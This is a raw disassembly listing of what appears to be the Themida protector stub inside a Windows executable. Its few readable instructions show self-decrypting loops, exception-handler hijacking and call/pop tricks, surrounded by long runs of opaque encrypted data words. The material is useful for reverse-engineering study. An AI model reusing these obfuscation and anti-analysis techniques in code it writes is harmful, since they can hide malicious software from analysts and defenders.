		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_54D195
		mov	eax, [ebp-10h]
		stosb


loc_54D195:				; CODE XREF: Themida_:0054D18Fj
		inc	dword ptr [ebp-8]


loc_54D198:				; CODE XREF: Themida_:0054D129j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_54D12B
		add	edx, 4


loc_54D1A1:				; CODE XREF: Themida_:0054D120j
		cmp	edx, [ebp-4]
		jb	loc_54D122
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54D1B4:				; CODE XREF: start+6BF87j
		mov	ecx, 7000h
		lea	edi, [ebp+6A837B8h]


loc_54D1BF:				; CODE XREF: start+6C1AFj
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_54D1BF
		mov	eax, 48692121h
		mov	edx, 0F00E1000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+6A838BDh]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		call	near ptr loc_54D200+3
		scasb
		neg	byte ptr [ecx-6307A595h]
		xchg	dh, [edx-54h]
		push	ds


loc_54D200:				; CODE XREF: start+6C1DCp
		mov	ebx, 0D2BB2320h
		mov	fs, word ptr [eax]
		xor	[ebx+6Ah], ebx
		add	[ebp-18h], dl
		add	eax, [eax]
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 0
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 5CDA2EC2h, 0B6EF30C1h, 0C22BA281h, 25D9B70Fh, 0FFFFF000h
		dd 0CA0AE4BBh, 33CA8B0Dh, 388166FFh, 0E755A4Dh,	3C50B70Fh
		dd 3A81D003h, 4550h, 2D0874h, 47000010h, 8F64E3EBh, 5
		dd 4C48300h, 38D0958Dh,	645206A8h, 35FFh, 89640000h, 25h
		dd 2DC10300h, 1000h, 8104708Bh,	0FF0000E6h, 0FE81FFh, 76800000h
		dd 1C708B03h, 0F883C033h, 661F7432h, 5A4D3E81h,	0EE810974h
		dd 10000h, 8BEBEB40h, 0FE033C7Eh, 45503F81h, 44740000h
		dd 8F64E8EBh, 5, 4C48300h, 8B51C361h, 8110244Ch, 0B0A9h
		dd 100000h, 0C0335900h,	4C8B51C3h, 0E8551024h, 0
		dd 0DBED815Dh, 8D06A838h, 0A8389985h, 0B8818906h, 5D000000h
		dd 0C3C03359h, 58F6496h, 0
		dd 6004C483h, 43D68166h, 0FFB70F4Bh, 0BF0F5061h, 8C665BDBh
		dd 6BB66D9h, 4E18058h, 0EB816656h, 0A5B46CAh, 19850FC9h
		dd 0C7000000h, 0A8339D85h, 106h, 0C3816600h, 37E97893h
		dd 0BB000000h, 22350228h, 339D85C7h, 6A8h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0AAE69BC3h, 0A85A3BD7h, 149BE381h, 858943EDh, 6A831F9h
		dd 11E9h, 104A7200h, 75476C62h,	54725ECCh, 0F7B1A3ECh
		dd 85896BBCh, 6A80F95h,	10E8h, 0C057800h, 161AAE15h, 19A7BD84h
		dd 75D27C18h, 81665369h, 5E42C6F2h, 8B0F5Bh, 81000000h
		dd 6A6FC3h, 0F5FF2B00h,	663B048Bh, 0B3CCDE81h, 0A1BFC081h
		dd 0DE810672h, 32CACDB2h, 0EFF9F081h, 81FC0456h, 52DB5FE8h
		dd 0FE87Eh, 74690000h, 0F11B980h, 0CA0C8437h, 0BF395B8h
		dd 0EAD281E3h, 590B36CEh, 198C0F50h, 0E9000000h, 14h, 94F20907h
		dd 0C17DBC7h, 6D7BF80Fh, 0DC237745h, 988A8D6Ah,	533B048Fh
		dd 8B0F50h, 5A000000h, 12E96059h, 0F8000000h, 961FA69h
		dd 0DED75744h, 0D37257B9h, 63E172CDh, 4EEDB8BFh, 83617D83h
		dd 0B1BA04EFh, 8130781Bh, 0FF9688FFh, 21850FFFh, 0F000000h
		dd 583h, 0AD0CB900h, 29E934D3h,	93000000h, 64654D2Fh, 83694337h
		dd 0BD4BA613h, 340C6E14h, 28D0Fh, 3BB50000h, 0FFFF37E9h
		dd 458E1AFFh, 0C5B652Ah, 77914F93h, 21504EBh, 0F8E90000h
		dd 0F000006h, 1F8Bh, 19870F00h,	0E9000000h, 14h, 0C59948D1h
		dd 2B5778ADh, 42A032C3h, 0DD6FD429h, 3727525Ch,	0C02BF960h
		dd 3225BD29h, 548B06A8h, 0B5292824h, 6A826B1h, 0E7D8589h
		dd 8B6006A8h, 0A81B818Dh, 0BEF96106h, 3Ch, 14BDBD29h, 740306A8h
		dd 0FC602424h, 31D99589h, 666106A8h, 919509ADh,	306A816h
		dd 31242444h, 0A811158Dh, 6E95006h, 0F9000000h,	246ABDD9h
		dd 240489AAh, 8E9h, 0B5715800h,	5DC6B93Fh, 8166609Ch, 30EE8E1h
		dd 0A815B18Dh, 408B6106h, 0C880F78h, 0F000000h,	68Dh, 8E0F00h
		dd 3000000h, 0F282444h,	0B8Ah, 0BD296000h, 6A82785h, 6123C880h
		dd 6018408Bh, 0FE8h, 52579900h,	8945F780h, 0CA93B992h
		dd 36C690C5h, 2958D08Bh, 0A83259BDh, 8D296106h,	6A80CA9h
		dd 8DBD3140h, 0F06A816h, 881h, 8D8B6000h, 6A82189h, 95858961h
		dd 906A83Ah, 0A8205DB5h, 66605806h, 9D5E981h, 1125BD8Bh
		dd 8B6106A8h, 8D0F7870h, 6, 0CF98D89h, 0C68306A8h, 8953601Ch
		dd 0A80F658Dh, 3615806h, 0FC242474h, 163D8501h,	0BD8D06A8h
		dd 6A8317Dh, 1E119D89h,	0FAD06A8h, 18Fh, 4403F900h, 0ABF82424h
		dd 15870Fh, 10E90000h, 0C8000000h, 1F105DF2h, 81D7F066h
		dd 4C0ACEF1h, 8DB2793Bh, 0A81445BDh, 8B666006h,	6810FCFh
		dd 89000000h, 0A81125BDh, 9E96106h, 9A000000h, 29ACD3C3h
		dd 2A32FDEEh, 5D8D89ADh, 306A80Bh, 0F242444h, 68Eh, 0BDB52900h
		dd 6006A815h, 68C0Fh, 858B0000h, 6A82975h, 2B3DBD0Bh, 906106A8h
		dd 0AE9h, 59F0A800h, 7F551C4h, 5056D71Fh, 0F38A6060h, 8E8h
		dd 0B2041700h, 73EFF3B9h, 0E8615F77h, 12h, 5C7F438Dh, 6E464F4h
		dd 0CDD2C4C4h, 0A0E7CF1Bh, 8B66C1E1h, 90615FD8h, 2E2DB529h
		dd 29AB06A8h, 0A81F8D8Dh, 0AE906h, 0CD910000h, 0B3F9EB58h
		dd 9C9D1E36h, 13F9BD8Dh, 9D0906A8h, 6A8274Dh, 8E9ADh, 87E30000h
		dd 48A94F9Bh, 44035B41h, 880F2824h, 19h, 14E9h,	6B877300h
		dd 5D48F578h, 75B0A53Eh, 2CD634Fh, 2C4657EDh, 0BD89AB43h
		dd 6A82551h, 8DFFF85Eh,	6A83A95h, 3A95BD83h, 750006A8h
		dd 2444C710h, 1Ch, 6CB58D00h, 0FF06A83Fh, 3AD56E6h, 97282444h
		dd 858ADF8Bh, 6A815D5h,	474C084h, 4C75073Ah, 0AEC03257h
		dd 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh
		dd 8AEA8ACDh, 6608B6D6h, 0D166EBD1h, 660973D8h,	66504135h
		dd 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h
		dd 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh, 0E7D85FFh
		dd 6FE906A8h, 5EFFFFFFh, 6840Fh, 8D890000h, 6A81EF5h, 19CD9589h
		dd 11E906A8h, 3E000000h, 191E1A26h, 3041EF11h, 0D7FE796Fh
		dd 0B343212Fh, 0E7D858Bh, 7E906A8h, 31000000h, 0D9AF48D7h
		dd 0E0D131DBh, 0F98503F5h, 8906A813h, 0A8264985h, 0BE06h
		dd 96F90000h, 78E0Fh, 830F0000h, 1, 0CDB589F8h,	6606A826h
		dd 18D01ADh, 0C106A826h, 0B52902E0h, 6A805EDh, 317D8503h
		dd 8D8906A8h, 6A80695h,	29ADF996h, 0A8314995h, 244C8B06h
		dd 5E924h, 50070000h, 34F3200h,	89242444h, 0A8058985h
		dd 24448906h, 0C880F1Ch, 0F000000h, 684h, 0CDB50100h, 9606A81Bh
		dd 277DBD31h, 0FAC06A8h, 18Dh, 0C932F800h, 0ADDB509h, 11E906A8h
		dd 0B4000000h, 0EEF6BDCDh, 0DF88DF4Ch, 12969294h, 36DF1AA1h
		dd 12E9C1FEh, 86000000h, 0FDC04751h, 4D46A6A4h,	0C6AD516h
		dd 6911EB70h, 0FD0D0F1h, 0CC83h, 61858900h, 0D006A833h
		dd 0BE830FD0h, 89000000h, 0A80AADB5h, 0FD0D006h, 0B082h
		dd 8C0FF800h, 6, 19A9B529h, 0D0D006A8h,	9B820Fh, 0DE90000h
		dd 80000000h, 7C39E4FDh, 22BA08FDh, 0B33EC3D7h,	890FC9FEh
		dd 0FFFFFFADh, 6880Fh, 8D090000h, 6A81B79h, 8850Fh, 830F0000h
		dd 2, 0C4836160h, 8D896020h, 6A81785h, 0AE9h, 73F92B00h
		dd 1E7FF559h, 613220E4h, 0FC2444C7h, 0
		dd 1E99B589h, 1B806A8h,	60000000h, 0DB529h, 296106A8h
		dd 0A81A019Dh, 208D8D06h, 2906A871h, 0A8252995h, 0E9E1FF06h
		dd 13h,	4E366322h, 0AF0DB892h, 0D4845D4h, 0BD775FBFh, 892390E8h
		dd 0A829B58Dh, 0D585C606h, 6A815h, 178A0Fh, 12E90000h
		dd 28000000h, 0A39FDC26h, 6714547Ah, 9B2B8F3Eh,	0DB726FE3h
		dd 0BD896190h, 6A807B1h, 890008C2h, 0A810FDBDh,	6E99606h
		dd 0C1000000h, 91D740C3h, 0FE950EFh, 95000000h,	0D84B634Dh
		dd 64DFD878h, 0C0EFEA21h, 0E9963A15h, 0Eh, 2A7C5033h, 77C816B6h
		dd 0FC51EDACh, 0B5890104h, 6A84139h, 0C7BF0F60h, 311D9D8Bh
		dd 896106A8h, 0A8158995h, 508D8906h, 0FC06A841h, 4024B58Dh
		dd 8D8906A8h, 6A80BF9h,	8EA1858Dh, 2960005Bh, 0A82E61B5h
		dd 1DBD2906h, 6106A826h, 5EF5D0FFh, 25218589h, 89C306A8h
		dd 0A80BD59Dh, 39B58B06h, 0F06A841h, 686h, 0E5850900h
		dd 0F06A824h, 68Fh, 0D9958900h,	8B06A829h, 0A841508Dh
		dd 15BD0106h, 2906A82Ah, 0A82BD99Dh, 60C02B06h,	1631858Bh
		dd 9D8B06A8h, 6A82D81h,	0A9B52961h, 8B06A825h, 0BD8960D9h
		dd 6A80DD9h, 6880Fh, 830F0000h,	0
		dd 99E961h, 32F50000h, 8BF86026h, 0A827618Dh, 2B26106h
		dd 32F59D09h, 58E906A8h, 0F000000h, 68Fh, 11950100h, 3206A825h
		dd 7A05FCC2h, 298A751Dh, 0A8171D9Dh, 29CC8A06h,	0A8093D9Dh
		dd 0E9C8D306h, 8, 0E6A64452h, 9342B20Fh, 0D1084235h, 6660FC98h
		dd 0D9D3E081h, 0FE61C18Bh, 1810FCAh, 0FC000000h, 7D858B60h
		dd 0F06A829h, 182h, 0A61F500h, 0AC850FD2h, 0FFFFFFFh, 88Ch
		dd 2810F00h, 60000000h,	0B3604B61h, 0FDCB81B3h,	61345045h
		dd 0D9BD2946h, 0B06A81Ah, 60850FDBh, 89FFFFFFh,	0A824E595h
		dd 99958906h, 0CF06A81Fh, 2621BD89h, 6A8h, 5DDBD29h, 0F806A8h
		dd 68A0F00h, 89000000h,	0A807B9B5h, 0E9000006h,	11h, 110B099Eh
		dd 0F1949409h, 4F8326Bh, 72300E7Dh, 0E9000026h,	13h, 0B866D76Fh
		dd 0EF84C81h, 5C2AC205h, 0ADC68931h, 0F85E9BBh,	0E8Eh
		dd 95336000h, 6A8256Dh,	213DBD8Bh, 8D6106A8h, 0A83AC385h
		dd 19BD3106h, 8906A833h, 0A82D7D85h, 0F08A6006h, 0AE8h
		dd 17758800h, 0A0882A36h, 8BAA02F8h, 0A80DE985h, 8D615E06h
		dd 0A83FA085h, 6890F06h, 29000000h, 0A81B5D85h,	0DD858906h
		dd 0E806A802h, 7, 7366A97h, 57C683C6h, 8B0F5A5Eh, 5, 6AE38166h
		dd 2EC281C5h, 0E8000066h, 5, 0E6ED2BA9h, 958950C4h, 6A81F19h
		dd 5768585Bh, 0E9000019h, 9, 41EB00DFh,	0EFDD214h, 0BD295FB0h
		dd 6A830E5h, 9D2B32FFh,	6A82FADh, 108B0F59h, 0E9000000h
		dd 0Bh,	0B5C0CFBEh, 0E58B66B8h,	816AAF83h, 8537DC1h, 40E8814Ah
		dd 81167540h, 568F1FF1h, 81FBB47Ah, 0EFBCDC1h, 8D895140h
		dd 6A81769h, 8589028Fh,	6A82F25h, 0F901EA83h, 334A4A4Ah
		dd 0A82A95B5h, 850F4F06h, 10h, 0CCEC681h, 27E95182h, 0D1000000h
		dd 25DC147Bh, 68C0Fh, 95890000h, 6A801F1h, 0FFFF83E9h
		dd 64884EFFh, 0C5580728h, 71B2ACE6h, 0F366F06Fh, 14EB6B92h
		dd 4 dup(0)
		dd 85h,	438C858Dh, 858906A8h, 6A80C71h,	42C3BD83h, 0F0006A8h
		dd 13584h, 0D585C600h, 5606A815h, 4E8h,	1F6D3900h, 448B50D4h
		dd 8B0424h, 4244489h, 0F9B5FF58h, 8D06A831h, 0A83AC385h
		dd 89D0FF06h, 0A842B785h, 0D585C606h, 5606A815h, 4E8h
		dd 0A8B85200h, 448B509Ch, 8B0424h, 4244489h, 0F9B5FF58h
		dd 8D06A831h, 0A83AC385h, 89D0FF06h, 0A842BB85h, 68046A06h
		dd 0BC3933D1h, 2F240481h, 8B43C6DCh, 0A842C785h, 1F40506h
		dd 0E0C10000h, 4895002h, 0FF006A24h, 0A842BB95h, 0BF858906h
		dd 8B06A842h, 0FFFFB8D8h, 95FFFFFFh, 6A80C71h, 95FFC38Bh
		dd 6A80C71h, 8DE9h, 0C3BD8300h,	6A842h,	1850Fh,	57C30000h
		dd 42BFBD8Bh, 83AB06A8h, 0A842BF85h, 0C35F0406h, 42C3BD83h
		dd 0F0006A8h, 185h, 8360C300h, 0A842BFADh, 9D8B0406h, 6A842BFh
		dd 0FFFC7B83h, 1D850Fh,	0A8680000h, 81C783BDh, 0C2582404h
		dd 6A387Ch, 95FF33FFh, 6A842B7h, 26E9C361h, 0E8000000h
		dd 4, 8000h, 24448B50h,	89008B04h, 58042444h, 33FF006Ah
		dd 42B795FFh, 0AD8306A8h, 6A842BFh, 0FFA8E904h,	0E948FFFFh
		dd 1ADh, 24748B60h, 247C8B24h, 80B2FC28h, 8846068Ah, 2BB4707h
		dd 2000000h, 5850FD2h, 8A000000h, 0D2124616h, 0FFE2830Fh
		dd 0D202FFFFh, 5850Fh, 168A0000h, 0FD21246h, 6A83h, 2C03300h
		dd 5850FD2h, 8A000000h,	0D2124616h, 12A830Fh, 0D2020000h
		dd 5850Fh, 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h
		dd 0C013D212h, 850FD202h, 5, 1246168Ah,	2C013D2h, 5850FD2h
		dd 8A000000h, 0D2124616h, 840FC013h, 6,	8AF82B57h, 7885F07h
		dd 2BB47h, 70E90000h, 0B8FFFFFFh, 1, 850FD202h,	5, 1246168Ah
		dd 2C013D2h, 5850FD2h, 8A000000h, 0D2124616h, 0FFDE820Fh
		dd 0C32BFFFFh, 1BBh, 34850F00h,	0B9000000h, 1, 850FD202h
		dd 5, 1246168Ah, 2C913D2h, 5850FD2h, 8A000000h,	0D2124616h
		dd 0FFDE820Fh, 8B56FFFFh, 0F3F52BF7h, 8E95EA4h,	48FFFFFFh
		dd 8A08E0C1h, 0E88B4606h, 1B9h,	0FD20200h, 585h, 46168A00h
		dd 0C913D212h, 850FD202h, 5, 1246168Ah,	0DE820FD2h, 3DFFFFFFh
		dd 7D00h, 22830Fh, 3D0000h, 0F000005h, 0E82h, 8B564100h
		dd 0F3F02BF7h, 0B4E95EA4h, 83FFFFFEh, 870F7FF8h, 3, 5602C183h
		dd 0F02BF78Bh, 0E95EA4F3h, 0FFFFFE9Bh, 3346068Ah, 1E8C0C9h
		dd 17840Fh, 0D1830000h,	56E88B02h, 0F02BF78Bh, 0BB5EA4F3h
		dd 1, 0FFFE76E9h, 247C2BFFh, 247C8928h,	8C2611Ch, 929BA00h
		dd 0D3E90000h, 7F000009h, 31CD73E7h, 422DE048h,	6A247B77h
		dd 22A07360h, 0D486B5C5h, 412BD21Ch, 0B7F72B73h, 22F15E0Fh
		dd 3AC073C1h, 5025EC0Ah, 7B772960h, 2DE57472h, 0A4E5DA8Eh
		dd 5C3FD816h, 0B7A52772h, 2DF75C0Fh, 20C073C2h,	4A38F30Ah
		dd 6769297Fh, 39F26F6Ch, 9086B180h, 5C3BCF5Ah, 0B6F76A63h
		dd 39F74941h, 26D973D4h, 4438F245h, 277Fh, 62h dup(0)
		dd 7F000000h, 3BC473E7h, 4A3EFC44h, 70742960h, 21F2676Eh
		dd 9580F0CDh, 4A3C9D09h, 0A4A56572h, 28F6450Eh,	3ADC2186h
		dd 4224FC44h, 226A6032h, 32F56F78h, 8791A380h, 133D80Eh
		dd 0AED5061Dh, 29EB5104h, 3ADC738Ah, 412BFA46h,	22706032h
		dd 2DEF7267h, 998DBD80h, 0F27CF15h, 0E2E16576h,	38EB5513h
		dd 74DD21C7h, 573FFA53h, 6D767932h, 2DE17266h, 8Eh, 47h	dup(0)
		dd 7F000000h, 26CA73E7h, 4021F64Bh, 22772E60h, 2CEF6F75h
		dd 8789B880h, 4A3BDF5Ah, 0ADE32B79h, 6CFC5E14h,	3AC726D4h
		dd 52DFB43h, 7B24677Bh,	60F2756Eh, 809BA9D3h, 2570D01Fh
		dd 0A7E95B1Ah, 60FD4300h, 38C72686h, 52EF445h, 64247D7Bh
		dd 60ED6F73h, 9B85B5CDh, 4E7EC408h, 0B0A56F79h,	2DEC4304h
		dd 2D8927D4h, 538E045h,	656B7B62h, 6EED6173h, 61h dup(0)
		dd 7F000000h, 31C53AE0h, 5725F60Ah, 76747C60h, 6EA16464h
		dd 9D808480h, 5D2E9D09h, 0A3F76C78h, 2DF0100Ch,	31CB73D5h
		dd 486AFB4Fh, 726D6773h, 34E16C74h, 95C8B4C5h, 427ED914h
		dd 0A7E77276h, 38F13D6Bh, 3D892081h, 462FF344h,	22606C66h
		dd 21A07963h, 86818680h, 407ECE0Fh, 0B0E62B65h,	29F35300h
		dd 897DC2h, 539FC42h, 67686074h, 2EEF7721h, 83C8A487h
		dd 0F35CF15h, 0AFFC6576h, 62FD420Eh, 0E0h dup(0)
		dd 57000000h, 6D754E4Ch, 734C4C44h, 746F7250h, 3000h, 8	dup(0)
		dd 69784500h, 74532074h, 73757461h, 25203D20h, 64h, 0
		dd 2CE90000h, 0F800002Bh, 0C08BF8FCh, 0D9BD83F9h, 6A81Eh
		dd 0BD830975h, 6A82DE9h, 50137400h, 0B8C08B53h,	1, 0A04E9D8Dh
		dd 0D3FF06AAh, 0BD83585Bh, 6A82DE9h, 50117400h,	1B853h
		dd 9D8D0000h, 6AA9EFFh,	585BD3FFh, 31B5B589h, 0B53106A8h
		dd 6A810E5h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 9DE545C3h, 0BEFFFED1h, 8BCD9A26h
		dd 85BD83D1h, 6A82Ch, 1AD840Fh,	6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 838C6AC3h
		dd 0A82E09BDh, 840F0006h, 183h,	0C307BA66h, 0C9DE8060h
		dd 2E09858Bh, 6A06A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0D457FBC3h, 0D19529h, 0E80506A8h
		dd 0E9000003h, 5, 0D677D216h, 0D48A5095h, 66240489h, 8D609ABAh
		dd 0A84F9085h, 52006A06h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 0FC872E79h, 1CC02062h
		dd 9D23D8DFh, 6A819EDh,	13E950h, 787E0000h, 4C33850Eh
		dd 122ECA72h, 0DE15BC69h, 0A4FE74EFh, 24048929h, 1009958Bh
		dd 858D06A8h, 6A84F6Eh,	50D9B70Fh, 6E8h, 9D328E00h, 50FF84C8h
		dd 0F5B5752h, 860F31h, 5A000000h, 4895B58h, 95FFF824h
		dd 6A82235h, 1AD19589h,	665606A8h, 8E1FD381h, 0CC4835Bh
		dd 310D9D33h, 953306A8h, 6A80EB5h, 4F6E858Dh, 958B06A8h
		dd 6A81525h, 24048950h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 4FC35646h, 3A9C828h, 840F7CE2h, 6, 3015958Bh
		dd 26A06A8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	0C8C35646h, 8E8ECh, 0A5590000h,	8510C311h, 0DB81F885h
		dd 2F816A95h, 46C6805Bh, 0ED1495FFh, 0BE8006Ah,	54000000h
		dd 0D22A40C0h, 6B108923h, 8589B023h, 6A8017Dh, 0B70F615Bh
		dd 458509D2h, 0C706A822h, 0A84FA185h, 106h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 525096CAh, 6E8h, 9675B100h, 66EAEB13h, 5B2A64BBh, 0D48A310Fh
		dd 6650585Ah, 96CBB7BBh, 0E858D89h, 0BE806A8h, 13000000h
		dd 0CEC8C7BBh, 0D5A3B0E3h, 958B6655h, 6A82D6Dh,	52B5895Ah
		dd 6606A84Fh, 0BD83D08Bh, 6A8339Dh, 4A850F01h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0AA93C355h, 0AE95C92h, 0E9000000h, 8F21432Fh
		dd 0AE1E69F4h, 839DB74Dh, 850F05F8h, 11h, 0C328F281h, 0B864E6h
		dd 89000000h, 0A81B95B5h, 51BD8306h, 6A817h, 72840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 6AFCFC3h, 8B66602Dh,	5195FFD6h, 8B06A817h, 0A8329D9Dh
		dd 6A6106h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 18081BC3h, 0E42FF445h, 15B58B60h,	8B06A821h
		dd 11E961F0h, 16000000h, 7F5E4376h, 0A423BF01h,	0C2B63E7Ch
		dd 78DD733Dh, 198DBD83h, 0F0006A8h, 2F84h, 0B8FC00h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 83FFC355h, 2D04A8C9h, 33819533h, 0F78A06A8h
		dd 56006A60h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 0F50F3F9Bh, 0FF3E57D5h, 2651958Bh, 9D8906A8h
		dd 6A831D9h, 0D19858Bh,	0C08306A8h, 89BFB202h, 0A84F4A85h
		dd 0D59D8906h, 0C606A800h, 0C6F9FF00h, 0A815D585h, 0B5895306h
		dd 6A81711h, 25AA2768h,	0D7FBAC5h, 348174CEh, 94E2FF24h
		dd 0D68B6639h, 1C18DA81h, 0B5FF3C14h, 6A80F95h,	6880Fh
		dd 0BD290000h, 6A80BCDh, 6971858Dh, 6A06ABh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 19D0ADC3h
		dd 0EF2C1203h, 60383432h, 1B3D9589h, 858B06A8h,	6A83381h
		dd 60D0FF61h, 14D68166h, 61D98AB9h, 8990EA80h, 0A81B3185h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 68E7872Fh, 33D58529h, 0BD8306A8h, 6A80E35h
		dd 0B4850F01h, 0F000000h, 686h,	49952300h, 0B06A81Ah, 0A805AD9Dh
		dd 0BF0F6106h, 0D585C6D9h, 4506A815h, 69F3BA66h, 4CC6A668h
		dd 2404819Ah, 4013721Ch, 6800Fh, 9D890000h, 6A82CD5h, 0BB19D8Bh
		dd 0B5FF06A8h, 6A80F95h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 91C35747h, 0E4979CF7h, 0DE31CB4Bh, 8D50B7D3h
		dd 0AB697185h, 0B1853106h, 0FF06A82Fh, 11B9BBD0h, 6A70FDh
		dd 3169958Bh, 0D0FF06A8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 9DC35545h, 1113C433h,	0D2D293C1h, 19B589FBh
		dd 8306A831h, 0A82B25BDh, 850F0106h, 0CEh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 28C35242h, 19858BD0h
		dd 6A06A80Dh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0AFDBC352h, 74E9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 8BAD1ADFh, 0A8007195h, 5E89006h, 0C6000000h,	0E4009226h
		dd 52505250h, 585A310Fh, 0DE8B310Fh, 505A585Ah,	6690D38Bh
		dd 6A7C54BAh, 11E914h, 96910000h, 399B4957h, 0DCFD68B9h
		dd 1B7C2F3Ch, 0FFB136FCh, 0A81B3195h, 8880F06h,	51000000h
		dd 0F9D8D89h, 585A06A8h, 3880F9h, 0FFA7850Fh, 0C780FFFFh
		dd 100C6ECh, 32299533h,	6A6106A8h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 14A0C357h
		dd 0F6EC19A3h, 8948CC1Fh, 0A82E418Dh, 0F5BD8306h, 6A80Ah
		dd 43840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 150424h, 55450000h, 6AB466C3h, 8E8FFh, 614F0000h, 0DF3999C4h
		dd 85017F1Fh, 6A81489h,	3195FF5Ah, 0F906A81Bh, 0FFFFDEE9h
		dd 0F8BA66FFh, 0F585C7F8h, 106A80Ah, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0F5C3C350h, 52CEC921h, 605AFB51h, 7E8h, 80F67700h, 0C58D8ABh
		dd 830Fh, 8B5A0000h, 0A81ABD85h, 85896106h, 6A84F56h, 6810Fh
		dd 958B0000h, 6A820D9h,	14E9h, 0C9609000h, 0F318F69Fh
		dd 0F08BB39Ch, 1FAEC082h, 0F660B734h, 8B66506Bh, 240489D8h
		dd 2F0D9D8Bh, 0B50906A8h, 6A83389h, 35958960h, 6A06A807h
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 3B2ADB5Ch, 5A1B72AFh, 0D38B6688h, 4F6E858Dh
		dd 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 56CE85C3h, 5D9D8BFFh, 5006A807h, 8D0F5160h
		dd 0
		dd 4896158h, 0E5E5BA24h, 858D5175h, 6A84F5Eh, 0CE9h, 432C4600h
		dd 44D0624Ch, 5074392Ch, 66579077h, 5A1BFBBBh, 0AEB46050h
		dd 9D8B9061h, 6A80515h,	1AC995FFh, 0F5006A8h, 283h, 5BDE8B00h
		dd 7A648D8Dh, 0DE906A8h, 62000000h, 1E76BBB4h, 8406A45Dh
		dd 0F9A08F2Dh, 1174C00Bh, 4F6E858Dh, 0FF5006A8h, 8C8589D1h
		dd 0EB06A84Fh, 8C85C70Ah, 0FF06A84Fh, 6AFFFFFFh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 55E0C352h, 1280C743h, 0C794DFBh, 165CCB81h, 8B614613h
		dd 0A8337595h, 0D585C606h, 4D06A815h, 6850Fh, 958B0000h
		dd 6A80BADh, 7F0B468h, 4890FAEh, 66000000h, 814399BAh
		dd 861C2434h, 81660A32h, 0FFF5E1F2h, 0A80DB5B5h, 85896006h
		dd 6A819D1h, 1B398D8Bh,	8D6106A8h, 0AB697185h, 0F2816606h
		dd 0D0FFA2B7h, 89D38B66h, 0A8142D85h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 41919141h, 0D585C642h, 4506A815h, 635BD29h, 0E86806A8h
		dd 0BBB82ABFh, 75E09614h, 81243481h, 6A3658D6h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 3973C350h, 958BB1B7h, 6A83025h, 0F95B5FFh, 0B1B606A8h
		dd 6971858Dh, 0B58906ABh, 6A8166Dh, 8B0FD0FFh, 6, 1E398D89h
		dd 858906A8h, 6A80081h,	3409BD89h, 0D28B06A8h, 68E0Fh
		dd 0B5890000h, 6A827B5h, 92DA8166h, 0D98C661Ah,	188A0Fh
		dd 0CE80000h, 0ED000000h, 0AFB01FCAh, 0EB7B4E51h, 8945CEF2h
		dd 0A815CDBDh, 0C1F65B06h, 0F7840F04h, 0E9000001h, 7, 5CF358C5h
		dd 0E95C4F28h, 0FAh, 7E8h, 970F7100h, 0B36C0EE1h, 0BE8h
		dd 0EE931D00h, 0D87105C7h, 0D819E7AEh, 344F03BAh, 8B5A5A58h
		dd 0A80725B5h, 51006A06h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0F73F2EEh, 0C681D1BFh
